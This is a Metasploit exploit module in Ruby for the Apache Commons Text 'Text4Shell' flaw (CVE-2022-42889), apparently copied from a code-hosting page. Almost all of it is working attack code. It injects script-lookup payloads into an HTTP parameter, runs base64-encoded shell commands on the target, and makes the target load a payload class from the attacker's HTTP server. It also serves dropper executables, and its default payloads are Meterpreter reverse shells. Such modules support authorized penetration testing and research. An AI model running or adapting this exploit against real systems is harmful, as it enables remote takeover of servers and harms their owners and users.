200 lines
6.8 KiB
Ruby
200 lines
6.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::Remote::Java::HTTP::ClassLoader
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Apache Commons Text RCE',
|
|
'Description' => %q{
|
|
This exploit takes advantage of the StringSubstitutor interpolator class,
|
|
which is included in the Commons Text library. A default interpolator
|
|
allows for string lookups that can lead to Remote Code Execution. This
|
|
is due to a logic flaw that makes the "script", "dns" and "url" lookup
|
|
keys interpolated by default, as opposed to what it should be, according
|
|
to the documentation of the StringLookupFactory class. Those keys allow
|
|
an attacker to execute arbitrary code via lookups primarily using the
|
|
"script" key.
|
|
|
|
In order to exploit the vulnerabilities, the following requirements must
|
|
be met:
|
|
|
|
Run a version of Apache Commons Text from version 1.5 to 1.9
|
|
Use the StringSubstitutor interpolator
|
|
Target should run JDK < 15
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Alvaro Muñoz', # Original research
|
|
'Karthik UJ', # PoC
|
|
'Gaurav Jain', # Metasploit module
|
|
],
|
|
'References' => [
|
|
['CVE', '2022-42889'],
|
|
['URL', 'https://sysdig.com/blog/cve-2022-42889-text4shell/'],
|
|
['URL', 'https://github.com/karthikuj/cve-2022-42889-text4shell-docker']
|
|
],
|
|
'Targets' => [
|
|
[
|
|
'Java (in-memory)',
|
|
{
|
|
'Type' => :java,
|
|
'Platform' => 'java',
|
|
'Arch' => ARCH_JAVA,
|
|
'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }
|
|
},
|
|
],
|
|
[
|
|
'Windows EXE Dropper',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :windows_dropper,
|
|
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
|
|
}
|
|
],
|
|
[
|
|
'Windows Command',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :windows_cmd,
|
|
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
|
|
}
|
|
],
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_cmd,
|
|
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_jjs' }
|
|
}
|
|
],
|
|
[
|
|
'Linux Dropper',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :linux_dropper,
|
|
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2022-10-13',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
register_options([
|
|
OptString.new('TARGETURI', [ true, 'The target URI', '/']),
|
|
OptString.new('PARAM', [ true, 'The vulnerable parameter']),
|
|
OptEnum.new('METHOD', [ true, 'The HTTP method to use', 'GET', ['GET', 'POST']])
|
|
])
|
|
end
|
|
|
|
def check
|
|
vprint_status("Checking if #{peer} can be exploited.")
|
|
res = send_exp
|
|
return CheckCode::Unknown('No response received from target.') unless res
|
|
|
|
# blind command injection using sleep command
|
|
sleep_time = rand(4..8)
|
|
vprint_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
|
|
_res, elapsed_time = Rex::Stopwatch.elapsed_time do
|
|
send_exp("java.lang.Thread.sleep(#{sleep_time * 1000})")
|
|
end
|
|
vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds.")
|
|
return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time
|
|
|
|
CheckCode::Vulnerable('Successfully tested command injection.')
|
|
end
|
|
|
|
def exploit
|
|
case target['Type']
|
|
when :java
|
|
# Start the HTTP server to serve the payload
|
|
java_class_loader_start_service
|
|
# Trigger a loadClass request via java.net.URLClassLoader
|
|
trigger_urlclassloader
|
|
# Handle the payload
|
|
handler
|
|
when :windows_cmd, :unix_cmd
|
|
execute_command(payload.encoded)
|
|
when :windows_dropper, :linux_dropper
|
|
execute_cmdstager
|
|
end
|
|
end
|
|
|
|
def trigger_urlclassloader
|
|
url = get_uri
|
|
|
|
vars = Rex::RandomIdentifier::Generator.new
|
|
|
|
exp = "var #{vars[:str_arr]} = Java.type('java.lang.String[]');"
|
|
exp << "var #{vars[:obj]} = new java.net.URLClassLoader([new java.net.URL(new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(url)}')))]).loadClass('metasploit.Payload');"
|
|
exp << "#{vars[:obj]}.getMethod('main', java.lang.Class.forName('[Ljava.lang.String;')).invoke(null, [new #{vars[:str_arr]}(1)]);"
|
|
|
|
res = send_exp(exp)
|
|
|
|
fail_with(Failure::Unreachable, 'No response received from the target') unless res
|
|
fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
vars = Rex::RandomIdentifier::Generator.new
|
|
|
|
exp = "var #{vars[:arr]} = [#{win_target? ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"'}, new java.lang.String(java.util.Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(cmd)}\"))];"
|
|
exp << "java.lang.Runtime.getRuntime().exec(#{vars[:arr]});"
|
|
|
|
res = send_exp(exp)
|
|
|
|
fail_with(Failure::Unreachable, 'No response received from the target') unless res
|
|
fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200
|
|
end
|
|
|
|
def send_exp(exp = '')
|
|
vars = datastore['METHOD'] == 'GET' ? 'vars_get' : 'vars_post'
|
|
send_request_cgi(
|
|
'method' => datastore['METHOD'],
|
|
'uri' => normalize_uri(target_uri.path),
|
|
|
|
vars => {
|
|
datastore['PARAM'] => "${script:javascript:#{exp}}"
|
|
}
|
|
)
|
|
end
|
|
|
|
def win_target?
|
|
target['Platform'] == 'win'
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
case target['Type']
|
|
when :java
|
|
# Call method to handle java payload staging
|
|
super(cli, request)
|
|
else
|
|
# Handle win/unix cmd staging
|
|
client = cli.peerhost
|
|
print_status("Client #{client} requested #{request.uri}")
|
|
print_status("Sending payload to #{client}")
|
|
send_response(cli, exe)
|
|
end
|
|
end
|
|
end
|